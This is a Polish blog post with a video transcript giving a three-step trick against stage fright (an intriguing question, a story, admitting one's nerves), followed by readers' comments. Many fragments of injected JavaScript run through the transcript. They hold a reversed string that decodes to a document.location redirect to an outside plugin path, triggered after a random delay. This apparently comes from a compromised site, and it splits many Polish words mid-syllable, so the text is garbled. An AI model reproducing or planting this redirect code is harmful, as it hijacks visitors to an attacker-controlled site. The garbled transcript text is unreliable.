Dziś mam dla Ciebie pomysł jak w prosty sposób poradzić sobie ze zdenerwowaniem na początku wystąpienia publicznego.
Jeśli film będzie się zawieszał wciśnij pauzę i poczekaj aż video się załaduje.
Jeśli wolisz poczytać, otoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to transkrypt nagrania:
Najczęściej nasze lęki przed wystąpieniem publicznym związane są z publicznością. Mimo że jesteśmy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrze przygotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towani, znamy temat, przećwiczyliśmy tekst (prawda?) 🙂 gdy stajemy przed audytoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torium czujemy tremę. Obawiamy się reakcji widzów, tego, że padnie pytanie, na które nie znamy odpowiedzi albo, że ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś będzie dla nas niemiły.
W moim tricku likwidującym stres przed prezentacją, wykorzystamy… właśnie publiczność! Jak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mówią czym się strułeś, tym się lecz!
Na początek zadamy intrygujące pytanie. Będzie na tyle proste, że ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś z widzów na pewno na nie odpowie. W ten sposób przyzwyczajamy ludzi toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego, że z nimi rozmawiamy, zadajemy pytania a oni mogą pytać nas. Czyli podstawa komunikacji – rozmowa.
Następnie opowiemy krótką histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torię związana z naszym pytaniem. Ludzie uwielbiają histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torie.
Na koniec… powiemy głośno o naszym zdenerwowaniu. Dzięki temu, po pierwsze wyrzucimy z siebie emocje a po drugie uzyskamy kredyt zaufania od widzów. Pamiętaj, że toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to malutki kredycik 🙂
A teraz szczegóły:
Intrygujące pytanie:
“Czy wiedzą Państwo który dzień tygodnia jest najbardziej stresujący?”
Z sali padają odpowiedzi. Najczęściej widzowie wymieniają niedzielę wieczór albo poniedziałek.
Po kilku odpowiedziach z sali, podajesz prawidłową:
“Najbardziej stresującym dniem w tygodniu jest… wtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torek a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dokładniej godzina 11.20!”
Histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toria
“Skąd toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wiem? Jakiś czas temu jechałem samochodem i słuchałem radia. w serwisie informacyjnym podano właśnie tę informację powołując się na badania brytyjskich naukowców”.
Teraz możesz przez chwilę posnuć rozważania dlaczego akurat wtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torek i przed południem?
Moja wersja jest taka:
W poniedziałek, aby łagodnie wejść w kolejny tydzień, staramy się robić jak najmniej 🙂 wszystkie pilne sprawy przesuwamy na kolejne dni, klientów umawiany “na później” itd.
Niestety we wtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torek życie nas toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopada. Już od rana dzwonię spławieni wczoraj interesanci, szef koniecznie chce jakiś raport na wczoraj i jak na złość dzwoni małżonka z informacją, że nie da rady odebrać dzieci z przedszkola.
I tak pętla powoli zaciska się na naszej szyi…
To moja teoria, a jaka jest Twoja???
Teraz pora na spointoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towanie histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torii. Możesz zagaić w ten sposób:
Jeśli Twoja prezentacja/szkolenie odbywa się właśnie we wtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torek.
“Skoro wiemy, że najbardziej zestresowani jesteśmy około 11.20 proponuję zrobic przerwę od 11.15 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do 11.30″ 🙂
jeśli występujesz w inny dzień:
“Skoro dziś nie jest wtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torek, wszyscy powinniśmy być zrelaksowani i nic nie powinno nam zakłócać prezentacji”
Teraz toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dołożymy trzeci element naszej układanki antystresowej czyli zwerbalizowanie swoich lęków.
“Jak widzę Państwo są odprężeni. Wygląda na toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, że jedyną odrobinę zestresowaną osobą jestem… ja!
Przyznam się Państwu, że ile razy staję przed publicznością, mimo najlepszego przygotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towania zawsze czuję ukłucie w żołądku. Jestem jednak przekonany, że przy Państwa pomocy uda mi się opanować toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to poddenerwowanie.”
I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wszystko!
Mówiąc o swojej tremie i prosząc widzów o pomoc znacznie poprawisz swoje samopoczucie a widzowie (przynajmniej część) będą trzymali za Ciebie kciuki 🙂
– – – – – – – – – – – – – – – – – – – – – – –
Jeśli spotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobał Ci się film i artykuł kliknij w ikonę FB “Lubię toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to”. Wtedy wszyscy Twoi znajomi toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowiedzą się, że masz dla nich ciekawą informację znalezioną w sieci.
Jeśli masz kilka minut czasu, proszę wpisz komentarz poniżej.
– – – – – – – – – – – – – – – – – – – – – – –
Pozdrawiam!
 O autorze: Robert Ważyński jest autorem książki "Nie boję się mówić" wydanej przez Wydawnictwo Złote Myśli, Jego flagowym przedsięwzięciem jest internetowy kurs "Tajna Księga Mówców" dostępny na platformie interkursy.pl. Na co dzień Robert wyżywa się literacko i filmowo na swoim blogu Tajniki Prezentacji i na YT. |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
Mistrzostwo świata. Podoba mi się w Robercie umiejętność wyłapywania z otaczającej rzeczywistości informacji, które można wykorzystać zawodowo(mam na myśli inf o badaniach brytyjskich). Zaczynam trenerską przygodę więc jesteś dla mnie inspiracją. Mam nadzieję, że okazje do praktykowania będą mi się zdarzały coraz częściej, bo żelazo hartuje się w ogniu 😉
Pozdrawiam.
Małgorzata
Witaj Małgorzato!
Inspiracja do działania, także do wystąpień publicznych jest wszędzie wokół nas. Ostatnio słuchałem radia (znowu) i usłyszałem informację, że przeciętny polski tata spędza na rozmowie ze swoimi dziećmi… 8 minut dziennie!
Czy nie jest to świetny punkt wyjścia do zagajenia na początku prezentacji: Ile czasu obecni na sali ojcowie spędzają dziennie ze swoimi dziećmi. Na pewno wywiązała by się ciekawa dyskusja.
Bardzo dziękuję Ci za dobrą, co ja mówię, rewelacyjną opinię o moim filmie 🙂
pozdrawiam z mroźnych Chojnic
Dla mnie najciekawszą wskazówką było to, żeby powiedzieć o tym, że się trochę stresujemy. Wielu osobom może to pomóc. Zamiast “kisić” stres wewnątrz, można go trochę wypuścić na zewnątrz.
Ja bym dołożył kolejny pomysł – można po prostu opisać swoje symptomy stresu w żartobliwej formie. “Proszę Państwa, zauważyłem, że kiedy się stresuje, to moje ręce drżą z częstotliwością 50 Herców i o amplitudzie 2 cm” 😉
Ciekawy jestem innych sposobów opisanych w książce – chętnie się zapoznam :]
Pozdrawiam!
Cześć Krystianie!
Dobry ten pomysł z drżeniem rąk. Mogę go wykorzystać na moich prezentacjach?
Widzę, że nadajemy na tych samych falach 🙂 jaka to częstotliwość???
pozdrawiam
Witaj Robercie!
Uwielbiam naukę poprzez filmy bo zdecydowanie jest mi łatwiej przyswajać wiedzę w ten sposób.
Cieszę się, że trafiłam na twoja stronę, kilka pomysłów już wykorzystałam:)
Moja przygoda z wystąpieniami dopiero się zaczyna ale uwielbiam ludzi kompetentnych wiec temat ten będę zgłębiać.
Pozdrawiam.
Małgorzata
Witaj Małgorzato_2!
Przepraszam za tę dwójkę ale komentarz pozostawiły dziś dwie Gosie 🙂
Co do nauki przez filmy, to opinie są podzielone. ja często spotykam ludzi, którzy wolą coś poczytać. Ale jak zauważyłaś pewnie, pod moimi filmami zawsze jest transkrypt nagrania, więc dla każdego coś miłego.
Życzę ciekawych przygód na drodze do Mistrzostwa W Prezentacjach Publicznych!
Witam.Bardzo jestem zainteresowana aby by
ć bardzo dobrym mówcą.
Pozdrawiam; ELA
Witam, bardzo fajne video! Szczerze, powiem, ze zapisując się na kurs bałem się, że będzie “podręcznikowo” czyli zrób tak, tak i tak a tak już nie, a Pan stawia na coś innego, opisuje metodę a nie schemat co jest na pewno bardziej wartościowe i łatwiejsze do przyswojenia! I super pomysł z naturalnością – udawanie zawsze nas zgubi a jeżeli powiemy po prostu prawdę jak zaufanej osobie to publiczność nas po pierwsze polubi jako “osobę taką jak ja która również ma problemy a jednak jej się udaje” i odpowie zaufaniem na zaufanie:)
pozdrawiam i czekam na kolejne video!
Cześć Przemku!
Przejdźmy na Ty, jeśli pozwolisz?
Jeśli chodzi o szczerość to z moich kilkuletnich doświadczeń w prezentacjach wynika, że publiczność tylko sobie znanymi sposobami najczęściej demaskuje nieszczere zachowania. Zdradza nas w takich sytuacjach na przykład mowa ciała… Zamknięta sylwetka, brak kontaktu wzrokowego, czasami tez niepewny, drżący głos. A nad tymi elementami mówca nie ma tak wielkiej kontroli jak nad swoimi słowami.
A kolejne video pojawi się na blogu chyba we wtorek.
Będzie naprawdę hardcorowo!
Pozdrawiam
Robercie, chętnie przehandluję mój sposób za jakąś ciekawą książkę… 😉
PS: Częstotliwość mistrzowska oczywiście 😉
Witam!
Z wielkim zainteresowaniem obejrzałem film i dziękuję za kolejne pomysły dotyczące wystąpień publicznych.
Pozdrawiam,
Janusz
Robercie, filmik ten jest na prawdę ciekawy. Zaskoczył mnie Twój pomysł za zadanie pytań publiczności. Czekam na kolejne filmy i poradniki z nadzieją, że dzięki Twojej pomocy uda mi się lepiej “mówić”.
Pozdrawiam
Witaj,
Z wielkim zainteresowaniem obejrzałam film, bardzo przydadzą mi śię te metody.
Pozdrawiam,
Natalia
Ja też stosuję powiedzenie o własnym, lekkim stresie, to bardzo “uczłowiecza” i buduje więź. Dobry patent na historyjkę, to też zawsze działa. Czasem fajnie też może zadziałać zdanko typu: “z okazji pierwszego poniedziałku tygodnia mam dla Państwa niespodziankę, konkurs, ofertę specjalną….itp.”. Pozdrawiam serdecznie i korzystając z okazji, bardzo dziękuję za wartościowe kursy.
Szkoda, że szkolenie odbywa się tak daleko ode mnie. Chętnie bym z niego skorzystała… a tak pozostają mi jedynie szybkie i konkretne video-rady, trafione z resztą bardzo celnie. Wiele osób przed wystąpieniem publicznym odczuwa stres (jak się okazuje z czasem: niepotrzebny) – większy bądź mniejszy, ale działa on raczej mobilizująco.
Witam,z wielkim zainteresowaniem śledzę wszystkie filmy na Pana blogu, a także maile, które dostaję.Wszystko to, co Pan mówi brzmi naprawdę świetnie i muszę przyznać, że jest Pan rewelacyjny w tym co robi.Jeżeli chodzi o mnie, to mam czasami takie myśli, że to jakaś utopia, że tak się nie da:lekko, łatwo i przyjemnie.W moim przypadku zabójczy okazuje się właśnie stres (niestety) i to bez względu na to, czy stoję przed małą czy dużą grupą. W każdym bądź razie na pewno skorzystam z Pana rad. W końcu trening czyni mistrza, nie?:) Pozdrawiam
Witaj Robercie!
Filmik super. Bardzo interesująca treść no i ten sposób przekazania tych wiadomości. Brawo.
Twoje porady to jest to czego szukałam, już nie raz się sprawdziły. Pierwsze kursy pomogły mi zapanować nad termą i teraz wychodzę do ludzi na luzie. Każdą swoją prezentację zaczynam od żartu i widzę że się to sprawdza.
Pozdrawiam
Witam, nie prowadzę co prawda szkoleń bezpośrednich, ale mam nadzieję wykorzystać Twoje rady (a przynajmniej część z nich) w szkoleniach online.
Tak trzymać, cieszę się, że trafiłem na profesjonalistę w dziedzinie szkoleń. 🙂
Pozdrawiam
Witam serdecznie. Jak zwykle jestem zachwycona prostotą tego nagrania.Konkret,swoboda wypowiedzi, osobisty wdzięk a najbardziej pozawerbalna wypowiedź. Znowu się czegoś nauczyłam. Choć prowadzę wystąpienia przez dłuższy czas, to zawsze chcę robić to coraz lepiej. Pozdrawiam serdecznie.
Jak dotąd wygłaszałam prezentacje jedynie w szkole lub na uczelni, aczkolwiek technikę tę już widywałam, choćby na prezentacjach różnych produktów w sanatoriach.
O badaniach, o których piszesz, słyszałam też w radiu, czyli słuchaliśmy tej samej stacji, choć nie pamiętam której.
Przepraszam, ale będzie trochę ostro-nie na wszystkich działa marketing np. nie na mnie, bo nie zarabiam w tym momencie pieniędzy, nie dostaję stypendium, mam kłopoty zdrowotne, więc nie każdą pracę mogę wykonywać, a poza tym jestem jeszcze na utrzymaniu rodziców i moja rodzina nie jest w najlepszej sytuacji finansowej. Przez internet też nie bardzo mam możliwość zarabiania-takie mam po prostu warunki życiowe i nie docierają do mnie porady innych, bo tylko osoba w podobnej sytuacji mogłaby mnie zrozumieć. Jestem realistką, mocno stąpam po ziemi, reklamy na mnie nie działają.
W sanatoriach ta metoda działa (jeśli chodzi o tę część prezentacji, bo ceny mnie odrzucają). Metoda ta rzeczywiście pozwala rozluźnić się zarówno prezentującemu, jak i słuchaczom i pozwala nawiązać kontakt ze słuchaczami oraz zyskać ich zainteresowanie.
